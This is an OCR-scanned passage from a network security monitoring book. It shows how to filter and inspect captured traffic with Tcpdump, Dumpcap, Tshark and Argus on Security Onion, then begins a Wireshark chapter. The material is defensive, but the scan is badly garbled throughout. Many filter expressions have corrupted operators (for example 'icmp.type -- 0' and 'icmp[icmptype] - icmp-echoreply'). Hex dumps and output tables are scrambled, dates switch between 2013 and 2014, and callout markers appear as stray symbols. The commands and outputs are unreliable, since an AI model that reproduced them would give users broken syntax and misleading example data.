20:30:29.850913 IP 192.168.2.108 » 173.194.75.104: ICMP echo request, id 1, seq 6, length 40 
20:30:29.987013 IP 192.168.2.127 » 173.194.75.99: ICMP echo request, id 47441, seq 1, length 64 





Listing 6-11: Capturing traffic to a network via BPF with Tcpdump 


Many protocols offer BPF primitives that allow you to look at specific 
aspects of the traffic, and you can also combine elements of the previous 
examples to limit what you see. For example, Listing 6-12 shows only ICMP 
echo replies from IP address 192.168.2.127. 





$ tcpdump -n -r icmp.pcap 'icmp[icmptype] - icmp-echoreply' and dst host 192.168.2.127 
reading from file icmp.pcap, link-type EN10MB (Ethernet) 
20:30:30.013728 IP 173.194.75.99 » 192.168.2.127: ICMP echo reply, id 47441, seq 1, length 64 





Listing 6-12: Capturing ICMP echo replies to a host via BPF with Tcpdump 


Extracting Details from Tcpdump Output 


In addition to displaying traffic more specifically, with Tcpdump, you can 
also extract more details from the results. For example, Listing 6-13 tells 
Tcpdump to show timestamps as YYYY-MM-DD HH:MM:SS. milliseconds via 
-tttt, adds layer 2 headers with -e, and tells Tcpdump to show all headers 
and data in hex and ASCII format with -XX. 





$ tcpdump -n -tttt -e -XX -r icmp.pcap 'icmp[icmptype] - icmp-echoreply' and dst host 192.168.2.127 
reading from file icmp.pcap, link-type EN10MB (Ethernet) 

2013-02-16 20:30:30.013728 00:0d:b9:27:f1:48 » 00:13:10:65:2f:ac, ethertype IPv4 (0x0800), 
length 98: 173.194.75.99 » 192.168.2.127: ICMP echo reply, id 47441, seq 1, length 64 


0x0000: 0013 1065 2fac 000d b927 f148 0800 4500 ...e/....'.H..E. 
0x0010: 0054 0000 0000 fb01 035c adc2 4b63 cOa8 .T....... Xs KCss 
0x0020: 027f 0000 2092 b951 0001 65ec 1f51 0000 ....... Q..e..0.. 
0x0030: 0000 d30a Of00 0000 0000 1011 1213 1415 ................ 
0x0040: 1617 1819 1a1b 1c1d 1e1f 2021 2223 2425 ........... 1"#$% 
0x0050: 2627 2829 2a2b 2c2d 2e2f 3031 3233 3435 &'()*+,-./012345 
0x0060: 3637 67 





Listing 6-13: Extracting more details from Tcpdump output 


Tcpdump offers other matching and storage options. For more information, see 
the Tchdump manual page on SO. Type man tcpdump at a command prompt to 
read the manual. 
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Examining Full Content Data with Tcpdump 


Because Tcpdump also works on saved traces, you can use it to examine the 
full content data saved on SO stand-alone or sensor platforms in the /nsm/ 
sensor data/«sensorname»/dailylogs directory. When searching for indicators 
of compromise in network traffic, you may want to search every file in these 
directories. You can use Tcpdump and a BPF modifier to hone your output. 
For example, Listing 6-14 looks through all files for traffic involving 

host 8.8.8.8 and TCP thanks to a for loop and the find command. Note the 
backticks (on the same key as the tilde symbol) in front of the find and after 
-type f. 





$ for i in “find /nsm/sensor data/sademo-ethi/dailylogs/ -type f^; do tcpdump -n -c 1 -r $i 
host 8.8.8.8 and tcp; done 

reading from file /nsm/sensor data/sademo-ethi/dailylogs/2013-02-16/snort.10g.1361019690, link- 
type EN10MB (Ethernet) 6 

reading from file /nsm/sensor data/sademo-ethi1/dailylogs/2013-02-16/snort.10g.1361045719, link- 
type EN10MB (Ethernet) e 

21:02:06.430169 IP 192.168.2.126.44334 » 8.8.8.8.53: 

Flags [S], seq 1330246822, win 42340, options 

[mss 1460,sackOK,TS val 157066547 ecr O,nop,wscale 11], length 0 ® 

reading from file /nsm/sensor data/sademo-ethi/dailylogs/2013-02-16/snort.10g.1361017706, link- 
type EN10MB (Ethernet) O 

-- snip -- 





Listing 6-14: Looping through pcap files 
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Listing 6-14 shows that the first trace 9 did not contain any traffic 
matching the BPF. The second trace @ contains a matching SYN packet 8. 
The third trace at @ did not contain any matching packets. 

With a repository of full content data at your disposal, you give greater 
context to your NSM analysis. While most NSM analysts use many tools to 
access full content data, I often use Tcpdump to take a quick look at specific 
network activity, applying a BPF for a certain port or host of interest. 


Using Dumpcap and Tshark 
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The Dumpcap and Tshark tools are shipped with the Wireshark (Attp:// 
wwuw.wireshark.org/) suite. Dumpcap is a simple traffic collection tool, and 
Tshark is the command line version of the Wireshark network traffic ana- 
lyzer. Dumpcap, and by extension Tshark, depend on the libpcap traffic 
capture library to access packets. Both Dumpcap and Tshark are avail- 
able on SO, but they are not running by default. Analysts can invoke each 
on demand, most often to access full content data in /nsm/sensor data/ 
<sensorname>/dailylogs. 


Gerald Combs is the original author of Dumpcap, and he and the Wireshark team 
code under the GNU General Public License version 2 (http://www.wireshark 
.org/faq.html). 


Tshark's strength lies in protocol analysis, thanks to the hundreds of 
protocols it understands, and, unlike Tcpdump, it allows you access just 
about any aspect of a protocol using fairly human-friendly syntax. For this 
reason, if I need to decode a specific protocol in a command line environ- 
ment, I choose Tshark over Tcpdump. 


Running Tshark 


You can run Tshark from a command terminal, although if you start it 
with sudo, it will likely report the following error and warning as shown 
in Listing 6-15. 





$ sudo tshark -i ethi 

tshark: Lua: Error during loading: 

[string "/usr/share/wireshark/init.lua"]:45: dofile has been disabled 
Running as user "root" and group "root". This could be dangerous. 
Capturing on eth1 





Listing 6-15: Lua error when starting Tshark 


The protocol dissectors shipped with Wireshark and Tshark may con- 
tain vulnerabilities. Clever intruders could exploit those vulnerabilities by 
sending specially crafted network traffic past a sensor. If malicious packets 
exploit Wireshark or Tshark while it is sniffing traffic, an intruder could 
gain control of the sensor. If Wireshark or Tshark is running with root privi- 
leges when exploitation occurs, the intruder could gain total control of the 
sensor. 

To partially mitigate the risk of granting intruders unauthorized access, 
the Wireshark developers recommend that users not run either program 
with root privileges. Instead, they suggest capturing traffic with Dumpcap 
first, and then analyzing saved packets with Wireshark or Tshark. 


Running Dumpcap 
Dumpcap uses the same BPF syntax as Tcpdump, as shown in Listing 6-16. 


$ sudo dumpcap -i eth1 -c 2 -w /tmp/tshark-icmp.pcap -f "icmp and host 192.168.2.108" 
File: /tmp/tshark-icmp.pcap 

Packets captured: 2 

Packets Received/Dropped on Interface eth1: 2/0 





Listing 6-16: Capturing two ICMP packets with Dumpcap 


The command in Listing 6-16 tells Dumpcap to listen to the eth1 inter- 
face, save two packets, write to the /tmp/tshark-icmp.pcap file, and limit cap- 
ture to ICMP traffic involving the computer at IP address 192.168.2.108. 

As you can see in the listing, you don’t need to specify a snaplength via -s 
as you do with Tcpdump, because Dumpcap uses a default maximum value. 
Listing 6-15 writes to the /tmp directory because the operating system won't 
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let me write to my home directory as root through sudo. I must write to a 
directory that the root user can also write to, which doesn't include my 
user's home directory. 

Besides using sudo and writing to a directory writable by root, you can 
reconfigure Wireshark on SO to create a wireshark group, and then add your 
user account to that group. Doing so will allow your users to capture packets 
with Dumpcap without invoking sudo to elevate privileges. To accomplish this 
goal, run the following command: 





$ sudo dpkg-reconfigure wireshark-common 


If you run this command within an OpenSSH session, the screen should 
look like Listing 6-17. 





addaaaaaaaaaaaaaaaaaaaag Configuring wireshark-common 38333333333333333333333 


à à 
à Dumpcap can be installed in a way that allows members of the "wireshark" 4 
à system group to capture packets. This is recommended over the à 
3 alternative of running Wireshark/Tshark directly as root, because less à 
a of the code will run with elevated privileges. à 
à à 
à For more detailed information please see à 
â /usr/share/doc/wireshark-common/README . Debian. à 
à à 
à Enabling this feature may be a security risk, so it is disabled by à 
à default. If in doubt, it is suggested to leave it disabled. à 
à à 
à Should non-superusers be able to capture packets? à 
à à 
à «Yes» «No» à 
3 j 


aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 





Listing 6-17: Configuring wireshark-common via OpenSSH session 


Use the TAB or arrow keys to select Yes, and then press ENTER. The script 
will add a wireshark user to the /etc/group file. Next, add your user to the 
wireshark group. Here, the username is sademo: 





$ sudo usermod -a -G wireshark sademo 





Now log out of the system and log back in. (If you try to capture traffic 
without logging in again, you will get an error.) Try capturing traffic as a 
normal user, as shown in Listing 6-18. 





$ dumpcap -i eth1 -c 2 -w tshark-icmp.pcap -f "icmp and host 192.168.2.108" 
File: tshark-icmp.pcap 

Packets captured: 2 

Packets received/dropped on interface eth1: 2/0 





Listing 6-18: Capturing traffic with user-level privileges with Dumpcap. You can now 
capture traffic with Dumpcap without using sudo and encountering errors. 


Running Tshark on Dumpcap's Traffic 


Once Dumpcap has captured traffic, analyze it with Tshark. To run Tshark 
in its most basic mode, use the -r switch, as shown in Listing 6-19. 





$ tshark -r tshark-icmp.pcap 


1 0.000000 192.168.2.108 -» 8.8.8.8 ICMP 74 Echo (ping) request 
id-0x0001, seq-17/4352, ttl-127 
2 0.022643 8.8.8.8 -» 192.168.2.108 ICMP 74 Echo (ping) reply 


id-0x0001, seq-17/4352, ttl-251 





Listing 6-19: Reading a trace with Tshark 


This output should be fairly easy to understand, although the time field 
may be unfamiliar. Specifically, host 192.168.2.108 issues an ICMP echo 
request to host 8.8.8.8 in packet 1, and host 8.8.8.8 responds with an ICMP 
echo reply in packet 2. By default, Tshark shows an initial time of 0, fol- 
lowed by time elapsed since the first packet. You can change that to show 
a more readable format with the -t ad switch, as shown in Listing 6-20. 





$ tshark -t ad -r tshark-icmp.pcap 


1 2013-02-17 13:37:45.922462 192.168.2.108 -» 8.8.8.8 ICMP 74 Echo 
(ping) request id=0x0001, seq-17/4352, ttl-127 
2 2013-02-17 13:37:45.945105 8.8.8.8 -» 192.168.2.108 ICMP 74 Echo 


(ping) reply ^ id-0x0001, seq=17/4352, ttl-251 





Listing 6-20: Showing absolute timestamps using the -t ad switch in Tshark 


Using Display Filters with Tshark 


Tshark provides a robust language to show packets that match display 
filters. Tshark and Wireshark use display filters to control what traffic is 
shown, but display filters do not affect packet capture. Use BPF syntax if you 
want to influence what Tshark (or Dumpcap, for that matter) collects and 
stores. For example, Listing 6-21 invokes a display filter to show only ICMP 
echo replies (ICMP type 0 messages). 





$ tshark -t ad -r tshark-icmp.pcap -R "icmp.type -- 0" 
2 2013-02-17 13:37:45.945105 8.8.8.8 -» 192.168.2.108 ICMP 74 Echo 
(ping) reply ^ id-0xo0001, seq-17/4352, ttl-251 





Listing 6-21: Showing an ICMP echo reply in Tshark 


This output may not seem very different from that of the Tcpdump fil- 
ter shown in Listing 6-20, but the power of Tshark (and Wireshark) comes 
from the extensive catalog of available display filters. The ICMP protocol has 
64 display filters available as of this writing, as listed at hitp://www.wireshark 
.org/docs/dfref/i/icmp.html. All of these can be used to define specific values 
to be matched with a display filter. 
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Tshark reveals its depth of knowledge for protocols when you pass it the 
-V switch, which tells Tshark to produce a verbose protocol decode for the 
specified traffic. Add -x to display a hex and ASCII listing of the packet. 
Both options are shown in Listing 6-22. 


$ tshark -t ad -r tshark-icmp.pcap -R "icmp.type == 0" -x -V 
@Frame 2: 74 bytes on wire (592 bits), 74 bytes captured (592 bits) 


Arrival Time: Feb 17, 2014 13:37:45.945105000 UTC 

Epoch Time: 1361108265.945105000 seconds 

[Time delta from previous captured frame: 0.022643000 seconds] 
[Time delta from previous displayed frame: 0.000000000 seconds] 
[Time since reference or first frame: 0.022643000 seconds] 
Frame Number: 2 

Frame Length: 74 bytes (592 bits) 

Capture Length: 74 bytes (592 bits) 

[Frame is marked: False] 

[Frame is ignored: False] 

[Protocols in frame: eth:ip:icmp:data] 


OEthernet II, Src: PcEngine 27:f1:48 (00:0d:b9:27:f1:48), Dst: Cisco-Li 65:2f:ac 
(00:13:10:65:2f:ac) 


Destination: Cisco-Li 65:2f:ac (00:13:10:65:2f:ac) 

Address: Cisco-Li 65:2f:ac (00:13:10:65:2f:ac) 

—— So O 1... sees sese o... = IG bit: Individual address (unicast) 

ees sese cece sees eee = LG bit: Globally unique address (factory default) 
Source: PcEngine 27:f1:48 (00:0d:b9:27:f1:48) 

Address: PcEngine 27:f1:48 (00:0d:b9:27:f1:48) 

vua Ws Ow... sees sese ces. = IG bit: Individual address (unicast) 


eee eOe see cece seee s = LG bit: Globally unique address (factory default) 
Type: IP (0x0800) 


OInternet Protocol Version 4, Src: 8.8.8.8 (8.8.8.8), Dst: 192.168.2.108 (192.168.2.108) 


Version: 4 
Header length: 20 bytes 
Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00: Not-ECT (Not 


ECN-Capable Transport)) 


0000 00.. = Differentiated Services Codepoint: Default (0x00) 
Share: ds 00 - Explicit Congestion Notification: Not-ECT (Not ECN-Capable Transport) 


(0x00) 
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Total Length: 60 

Identification: 0x0000 (0) 

Flags: 0x00 
O... .... = Reserved bit: Not set 
.0.. .... = Don't fragment: Not set 
..0. .... = More fragments: Not set 

Fragment offset: 0 

Time to live: 251 

Protocol: ICMP (1) 

Header checksum: Oxec9c [correct] 
[Good: True] 
[Bad: False] 

Source: 8.8.8.8 (8.8.8.8) 

Destination: 192.168.2.108 (192.168.2.108) 
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OInternet Control Message Protocol 
Type: 0 (Echo (ping) reply) 
Code: 0 
Checksum: 0x554a [correct] 
Identifier (BE): 1 (0x0001) 
Identifier (LE): 256 (0x0100) 
Sequence number (BE): 17 (0x0011) 
Sequence number (LE): 4352 (0x1100) 
[Response To: 1] 
[Response Time: 22.643 ms] 
Data (32 bytes) 


60000 
0010 
0020 
0030 
0040 


Data: 6162636465666768696a6b6c6d6e6f707172737475767161... 
[Length: 32] 


00 13 10 65 2f ac 00 Od b9 27 f1 48 08 00 45 00 sas@/ sun aHesEs 
00 3c 00 00 00 00 fb 01 ec 9c 08 08 08 08 cO a8 TT 
02 6c 00 00 55 4a 00 01 00 11 61 62 63 64 65 66  .1..UJ....abcdef 
67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76  ghijklmnopqrstuv 
77 61 62 63 64 65 66 67 68 69 wabcdefghilll 





Listing 6-22: Full decode of the ICMP echo reply in Tshark 


The full decode for this packet is broken into five main sections: 


e Section 9 displays frame information, with metadata on time, frame 
size, and other details. 

e Section @ shows details found in the Ethernet header such as source, 
destination, and Media Access Control (MAC) addresses. 


e Section ® offers information from the IP header, like source and desti- 
nation IP addresses and other IP protocol data. 


e Section O shows details on the ICMP protocol itself. 


e Section @ is a hexadecimal and ASCII representation of the entire frame. 


Tools like Tshark are helpful because they expose every detail of a 
protocol. For example, you may find that it is important to know an ICMP 
sequence number, if that element may have been used for suspicious or 
malicious purposes. 


Tshark Display Filters in Action 


In this section, we’ll look at some display filter examples that demonstrate 
the power of Tshark. 

Imagine you want to search traffic for Simple Mail Transport Protocol 
(SMTP) commands. You could use the smtp.req. command display filter, as 
shown in Listing 6-23. 





$ tshark -t ad -r smtp.pcap -R 'smtp.req.command' 
4 2014-02-17 14:09:14.659043 192.168.2.127 -» 68.87.26.155 SMTP 76 C: helo test 
10 2014-02-17 14:09:19.090208 192.168.2.127 -» 68.87.26.155 SMTP 71 C: quit 





Listing 6-23: Tshark display filter for SMTP 
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To look for user agents in HTTP GET request traffic generated by curl, 
you could use two filters together. Listing 6-24 uses a for loop to search an 
entire directory. The echo statement shows the trace in question as Tshark 
searches it. 


$ for i in "find /nsm/sensor data/sademo-ethi/dailylogs/2013-02-17/ -type f`; do echo $i; 
tshark -t ad -r $i -R 'http.user agent contains "curl" and http.request.method -- GET'; done 
/nsm/sensor data/sademo-eth1/dailylogs/2013-02-17/snort.1og.1361107364 

143841 2014-02-17 14:26:43.875022 192.168.2.127 -» 217.160.51.31 HTTP 223 GET / HTTP/1.1 





Listing 6-24: Looping through data with Tshark to find HTTP traffic 


Tshark display filters also make it easy to search for traffic to or from 
a range of IP addresses. For example, Listing 6-25 looks for traffic with IP 
addresses between 192.168.2.100 and 192.168.2.110 inclusive that is not TCP 
or UDP. 





$ tshark -t ad -r /nsm/sensor data/sademo-ethi1/dailylogs/2013-02-17/snort.10g.1361107364 -R 
'ip.dst »- 192.168.2.100 and ip.dst «- 192.168.2.110 and not tcp and not udp' 


10327 2014-02-17 13:33:01.775757 8.8.8.8 -» 192.168.2.108 
ICMP 74 Echo (ping) reply id-0x0001, seq-16/4096, ttl-251 
12519 2014-02-17 13:37:45.945105 8.8.8.8 -» 192.168.2.108 


ICMP 74 Echo (ping) reply id-0x0001, seq-17/4352, ttl-251 





Listing 6-25: Searching for a range of IP addresses with a Tshark display filter 


For more detail, add the -V and/or -x switch. 

As you can see, I like to use Tshark to review saved traces for specific 
elements. It would be difficult to create the equivalent BPF syntax for many 
of these display filters. While technically possible, the BPF syntax can be 
horribly complex. 


Running Argus and the Ra Client 


Our final command line tool is Argus (http://www.qosient.com/argus/), a 
session data generation and analysis suite, and its client for reading data, 
Ra. The Argus server is running by default on SO, but analysts must use 
the Argus client tools to access the data stored in the /nsm/sensor data/ 
<sensorname>/argus directory. 


Carter Bullard first started writing Argus at Carnegie Mellon's Software Engineering 
Institute (SEI) in 1993, and released the code publicly as Argus 1.5 in early 1996. 
Today, the code exists as a server component and multiple client components, licensed 
under the GNU General Public License version 3. 


You can validate the status of the Argus server by running the nsm sensor 
ps-status script with the --only-argus switch, as shown in Listing 6-26. 
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$ sudo nsm sensor ps-status --only-argus 
Status: sademo-eth1 
* argus [ OK ] 





Listing 6-26: Checking Argus status 


Stopping and Starting Argus 


If Argus is not running, you can restart it. Let's stop it, and then restart it, 
as shown in Listing 6-27. 





$ sudo nsm sensor ps-stop --only-argus 
Stopping: sademo-eth1 
* stopping: argus [ OK ] 


$ sudo nsm sensor ps-start --only-argus 

Starting: sademo-eth1 
* starting: argus [ OK ] 
* disk space currently at 21% 





Listing 6-27: Stopping and starting Argus 


The Argus data stored in the /nsm/sensor_data/<sensorname>/argus direc- 
tory appears as individual files, one for each day, named YYYY-MM-DD.log. 
Stopping and starting the Argus server will not destroy the previous file, 
only append to it. 


The Argus File Format 


The files in the Argus directory are binary files readable only by the Argus 
client tools. The binary format keeps the files compact. In comparison, a 
sample sensor with 48 days of NSM data shows the following directory usage 
for full content and Argus session data. Listing 6-28 has the details. 





$ sudo du -csh /nsm/sensor_data/soe-eth0/argus/ 
1.8G /nsm/sensor data/soe-ethO/argus/ 

1.8G total 

$ sudo du -csh /nsm/sensor data/soe-etho/dailylogs/ 
83G /nsm/sensor data/soe-eth0/dailylogs/ 

83G total 





Listing 6-28: Sample Argus and pcap storage 


As you can see, 48 days of full content data in pcap format on this sen- 
sor occupies 83GB, but Argus session data for the same period occupies 
only 1.8GB, or 1/46 of the space. This ratio is likely to be quite different 
depending on the nature of each network, but you can see the space advan- 
tage associated with session data compared to full content data. 


Command Line Packet Analysis Tools 129 


This comparison demonstrates the power of session data. If you just 
need to know the IP address, protocol, and/or ports associated with a con- 
nection, you can acquire all of that information from session data. You 
don't need to capture or search through piles of full content data to get it. 


Examining Argus Data 


Analysts who enjoy parsing data using command line tools are likely to find 
Argus data particularly useful. I'll show a few ways to examine this data for 
interesting results. You might take this approach if you want to look for spe- 
cific information or script searches of session data for anomalous activity. 
First, we'll compare reading session data using two Argus clients, Ra 
and Racluster. Listing 6-29 shows an example of using Ra to look for session 
records with destination port 21, which is used by many FTP servers. 





$ ra -n -r 2014-02-10.1og - tcp and dst port 21 -s stime saddr sport daddr dport sbytes dbytes 


StartTime 


o 
e 
e 


11:10:53.939711 
11:11:04.434637 
11:11:10.003721 
11:11:25.561995 
11:11:25.806418 
11:12:07.851453 
11:12:09.236747 
11:12:16.019452 
11:12:17.357230 
11:12:23.449643 


SrcAddr Sport DstAddr Dport SrcBytes DstBytes 
192.168.2.127.60102 202.12.29.205.21 140 74 
192.168.2.127.60102 202.12.29.205.21 769 1633 
192.168.2.127.60102 202.12.29.205.21 204 301 
192.168.2.127.50732 192.149.252.20.21 917 1195 
192.168.2.127.50734 192.149.252.20.21 979 1198 
192.168.2.127.48178 200.3.14.11.21 939 1346 
192.168.2.127.48180 200.3.14.11.21 935 1345 
192.168.2.127.41655 193.0.6.140.21 1114 1279 
192.168.2.127.41657 193.0.6.140.21 840 979 
192.168.2.127.41657 193.0.6.140.21 348 301 





Listing 6-29: Argus Ra output for port 21 


The -n switch tells Ra to not resolve port numbers to names. The BPF 
syntax filter tcp and dst port 21 specifies a protocol and port of interest. The 
-s switch tells Ra which fields to display. (The Ra man page lists all output 
fields controlled by the -s switch.) The SrcBytes and DstBytes columns in 
the results count transaction data bytes, which include packet headers. (To 
get application layer bytes, use sappbytes and dappbytes instead of sbytes and 
dbytes on the command line.) 

Notice that there are several session records for certain conversations. 
The Argus server wrote these records as it saw the connection stay active. 
That's fine for a short result like the one in Listing 6-29, but not for con- 
nections that stay open longer. To collapse these records, use Racluster, as 
shown in Listing 6-30. 





$ racluster -n -r 2013-02-10.1og - tcp and dst port 21 -s stime saddr sport daddr dport sbytes 


dbytes 
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StartTime 

@ 11:10:53.939711 
11:11:25.561995 
11:11:25.806418 
11:12:07.851453 
11:12:09.236747 
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SrcAddr Sport DstAddr Dport SrcBytes DstBytes 
192.168.2.127.60102 202.12.29.205.21 1113 2008 
192.168.2.127.50732 192.149.252.20.21 917 1195 
192.168.2.127.50734 192.149.252.20.21 979 1198 
192.168.2.127.48178 200.3.14.11.21 939 1346 
192.168.2.127.48180 200.3.14.11.21 935 1345 


11:12:16.019452 192.168.2.127.41655 193.0.6.140.21 1114 1279 
11:12:17.357230 192.168.2.127.41657 193.0.6.140.21 1188 1280 





Listing 6-30: Argus Racluster output for port 21 


Notice that the first three records (8, 6, and 9) from the Ra record in 
Listing 6-29 have been collapsed into one record 6 in Listing 6-30, though 
when you add the byte counts from the same sessions in the Ra output, 
you'll find that they match the total byte count in the Racluster output. For 
example, the SrcBytes count for the session to 202.12.29.205 in the Ra out- 
put is 140 + 769 + 204 = 1118, which is the same value as the SrcBytes field 
for the session to 202.12.29.205 in the Racluster output. 

I often use Argus with Racluster to quickly search a large collection 
of session data via the command line, especially for unexpected entries. 
Rather than searching for specific data, I tell Argus what to omit, and then 
I review what's left. 

As an example, we'll walk through building a fairly complicated Racluster 
search. It will tell Racluster to search three Argus archives for UDP traffic, 
but to exclude ports 53 (DNS), 123 (Network Time Protocol, or NTP), or 
host 192.168.2.120. 

This will require the use of the -m saddr daddr switch, which instructs Ra 
to group records by source and destination IP address, and the -s switch, 
which specifies the desired output fields. Two additional elements add the 
year, month, and day to the timestamps in this report. To add these, first 
create the /tmp/ra.conf file, as shown in Listing 6-31, with a variable telling 
Ra how to display the time. (To learn more about this format, see the man- 
ual page for the date command.) 





cat /tmp/ra.conf 
RA_TIME_FORMAT="%Y-%m-%d AT" 





Listing 6-31: Contents of the /tmp/ra.conf file 


Next, add the stime element of the -s switch that tells Ra to provide 
enough room in the print buffer to show the entire date and timestamp. 
Listing 6-32 assembles all these components and shows the output. 





$ racluster -F /tmp/ra.conf -n -r 2014-02-10.log 2013-02-16.log 2014-02-17.log - udp and not V 
(port 53 or port 123 or host 192.168.2.120\) -m saddr daddr -s stime:20 saddr sport daddr dport 


sbytes dbytes 
StartTime 

13: 

:26: 


2013-02-17 
2013-02-17 
2013-02-17 
2013-02-16 
2013-02-16 
2013-02-16 
2013-02-10 
2013-02-10 
2013-02-17 


13 


13: 
20: 
20: 
20: 
11: 
11: 
19: 


26 


26 


35: 
35: 
35: 
28: 


28 


12: 


SrcAddr Sport DstAddr Dport SrcBytes DstBytes 
:49 192.168.2.114.16403 17.173.254.222.00 540 540 
49 192.168.2.114.16403 17.173.254.223.16386 240 240 
:49 192.168.2.114.16403 96.231.180.71.00 660 0 
09 192.168.2.115.16403 17.173.254.222.00 6000 6000 
09 192.168.2.115.16403 17.173.254.223.16386 2820 2820 
09 192.168.2.115.16403 96.231.180.71.00 7740 0 
29 192.168.2.116.58444 23.23.189.8.00 534 918 
:29 192.168.2.116.58444 23.23.189.44.33434 382 0 
09 192.168.2.117.63517 157.56.106.184.3544 2472 3624 
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2013-02-17 19:12:09 192.168.2.117.63517 157.56.106.185.3544 206 302 
2013-02-16 13:37:19 192.168.2.117.00 157.56.149.60.3544 33372 48169 
2013-02-16 13:37:19 192.168.2.117.09 157.56.149.61.3544 515 755 





Listing 6-32: Using Racluster to look for UDP traffic while ignoring port 53, port 123, and host 192.168.2.120 


In Listing 6-32, you see entries where the destination port is 0 at 0, @, 
©, O, and 9, and where the source port is 0 at and 9. When the destina- 
tion port shows 0, Racluster has aggregated multiple destination ports into 
one record. For example, Listing 6-33 shows a similar Racluster search that 
looks at Argus records involving 192.168.2.117 as the source IP address and 
157.56.149.0/24 (meaning any fourth octet is acceptable) as the destination 
net block. 





$ racluster -F /tmp/ra.conf -n -r 2014-02-10.log 2013-02-16.log 2014-02-17.1og - src host 
192.168.2.117 and dst net 157.56.149.0/24 and udp and not \(port 53 or port 123 or host 
192.168.2.120V) -s stime:20 saddr sport daddr dport sbytes dbytes 


StartTime SrcAddr Sport DstAddr Dport SrcBytes DstBytes 
2013-02-16 13:37:19 192.168.2.117.64412 157.56.149.60.35440 20909 30653 
2013-02-16 13:37:19 192.168.2.117.64412 157.56.149.61.35440 412 604 
2013-02-17 14:27:57 192.168.2.117.57672 157.56.149.60.35440 12463 17516 
2013-02-17 14:27:57 192.168.2.117.57672 157.56.149.61.35440 103 151 





Listing 6-33: Using Racluster with 192.168.2.117 as the source IP address and 157.56.149.0/24 as the 
destination net block 


Notice that this output represents four distinct connections: two to 
157.56.149.60 at € and @, and two to 157.56.149.61 at © and @. When you 
aggregate results using the source IP address, as in Listing 6-32, you lose 
this granularity. 

I mentioned earlier that I like to use Argus and its Ra or Racluster client 
to omit certain traffic, and then review what's left for anomalies. Listing 6-32 
contains some data that I could review for suspicious or malicious entries. 
Doing this sort of review requires some ability to recognize net blocks and 
protocols, but it can yield interesting results. 

Taking a net block approach means determining the source or destina- 
tion of traffic. Tools like the Robtex website (http://www.robtex.com/) can 
help identify network owners. For example, traffic in Listing 6-32 to the 
17.0.0.0/8 traffic is likely related to Apple protocols, because Apple owns 
that entire Class A net block. Doing similar analysis shows Microsoft owns 
the 157.56.0.0/14 net block, Amazon owns 23.20.0.0/14, and Verizon owns 
96.224.0.0/11. 

Taking a protocol approach requires looking at the protocols involved, 
often by deciphering which applications use certain TCP or UDP ports. 
Online resources like the SANS Internet Storm Center (ISC) Port Report 
(hitps://isc.sans.edu/portreport.html) provide clues concerning the functions 
of various TCP and UDP ports. For example, Apple uses port 3544 UDP for 
its push notification service, and port 16386 UDP for its FaceTime service. 
Many systems run UDP-based Traceroute using port 33434. Based on this 
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knowledge, I can determine that the applications depicted in Listing 6-32 
are likely all benign, and that they're associated with Apple traffic and net- 
work path discovery using Traceroute. Of course, in order to firmly identify 
these sessions, I would need access to full content data or logs from other 
sources. Still, this approach provides a way to identify interesting activity 
with a minimum amount of effort. 


Conclusion 


This chapter began by explaining the three types of tools available in SO: 
software for data collection, presentation, and delivery. Within the presen- 
tation category, we find tools for packet analysis, and applications that work 
best as NSM consoles. Some of the packet analysis tools rely on command 
line interfaces, and others use graphical interfaces. This chapter discussed 
several packet analysis data presentation tools that are used from the com- 
mand line: Tcpdump, Tshark, and the Argus Ra client. You also saw how to 
use Dumpcap in concert with Tshark. 

In Chapter 7, we'll look at the graphical interface packet analysis tools: 
Wireshark, Xplico, and NetworkMiner. You'll see that GUI access to packets 
offers several distinct advantages, including the availability of more forms 
of NSM data. 
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GRAPHICAL PACKET 
ANALYSIS TOOLS 


Chapter 6 introduced the categories of 
NSM tools: data presentation, data collec- 





tion, and data delivery. As explained in that 

chapter, within the data presentation category, 
some tools are more suited to packet analysis, and 
others are intended to function as NSM consoles. 
Chapter 6 focused on data presentation tools that 
offer access to packets on the command line. 


This chapter focuses on packet analysis tools that give analysts 
GUI access to traffic. Tools in this family include Wireshark, Xplico, and 
NetworkMiner (NM). All of these applications ship with SO and are avail- 
able on demand from the distribution. We'll start with the most popular 
of these types of tools: Wireshark. 
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Using Wireshark 


Chapter 7 





Wireshark is the main tool in the Wireshark suite, which also includes 
Tshark and Dumpcap. This section highlights the Wireshark features I use 
most regularly when conducting NSM operations. To learn more about 
Wireshark, refer to one of the excellent books about it, such as Laura 
Chappell’s work at Attp://www.wiresharhbook.com/. 


Running Wireshark 


Like Tcpdump and Tshark, Wireshark operates on the full content data 
stored in the /nsm/sensor_data/<sensorname>/dailylogs directory. You can 
launch Wireshark either directly or from other tools (such as Sguil, as 
explained in Chapter 8). 


Wireshark is not necessarily the best tool for processing large collections of full content 
data, and I typically don't suggest you begin your analysis of network traffic by loading a 
gigantic trace into Wireshark. Instead, identify traffic of interest using another means, 
such as by reviewing session data, and then apply Wireshark to just that traffic. 


Wireshark is an on-demand tool in SO and will run only if you launch 
it manually by entering wireshark in a terminal window, or by choosing 
Security Onion > Wireshark from the GUI. Wireshark displays an opening 
screen, as shown in Figure 7-1. 


X The Wireshark Network Analyzer [Wireshark 1.6.7 ] 
File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help 



































aae; &ox = < ele - al mes - 


Filter: | + Expression... Clea 








The World's Most Popular Network Protocol Analyzer 
Version 1.6.7 


SS ES ERE CNN 


Interface List @ Open 4 Website 


E] Live list of the capture interfaces Open a previously captured file Visit the project's website 
{counts incoming packets) 


Open Recent: - ' i 
Start capture on interface: i: User's Guide 
F) etho g Sample Captures 


eth1 A rich assortment of example capture files on the wiki @ Security 
Pseudo-device that captures on all interfaces 
lo 


The User's Guide (online version) 


Work with Wireshark as securely as possible 


ini Capture Options 


Start a capture with detailed options 


Capture Help 


How to Capture 


Step by step to a successful capture setup 


Network Media 


@ Specific information for capturing on: 
Ethernet. WLAN, ... 


O Ready to load or capture = No Packets = Profile: Default 


Figure 7-1: Default Wireshark screen 


Viewing a Packet Capture in Wireshark 


To open a packet capture in pcap format, follow these steps: 


1. Choose File » Open and navigate to the /nsm/sensor_data/<sensorname>/ 
dailylogs directory. 

2. Choose one of the YYYY-MM-DD directories, and then select a trace of 
interest. Wireshark presents some basic statistics about that trace. For 
example, in Figure 7-2, the sample trace is 11.9MB (shown in the Size 
column) with 19,866 packets (shown in the Packets field). As you can 
